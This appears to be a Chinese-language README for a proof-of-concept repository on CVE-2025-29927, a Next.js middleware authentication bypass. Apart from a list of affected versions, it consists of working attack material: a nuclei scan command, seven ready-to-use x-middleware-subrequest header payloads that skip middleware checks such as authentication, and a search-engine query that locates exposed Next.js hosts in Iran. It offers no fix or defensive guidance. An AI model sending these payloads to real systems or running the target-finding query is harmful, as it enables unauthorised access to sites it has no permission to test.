CVE-2025-29927：Next.js 中间件绕过漏洞 此仓库演示了 Next.js 中的 CVE-2025-29927 漏洞，其中内部标头 x-middleware-subrequest 可用于绕过诸如身份验证等中间件检查。
Next.js 15.x < 15.2.3
Next.js 14.x < 14.2.25
Next.js 13.x < 13.5.9
Next.js 15.x < 15.2.3
Next.js 14.x < 14.2.25
Next.js 13.x < 13.5.9
nuclei -u https://example.com -t ./CVE-2025-29927.yaml -fr
x-middleware-subrequest: pages/_middleware
x-middleware-subrequest: pages/dashboard/_middleware
x-middleware-subrequest: pages/dashboard/panel/_middleware
x-middleware-subrequest: middleware
x-middleware-subrequest: src/middleware
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware
header="x-middleware-rewrite" && country="IR"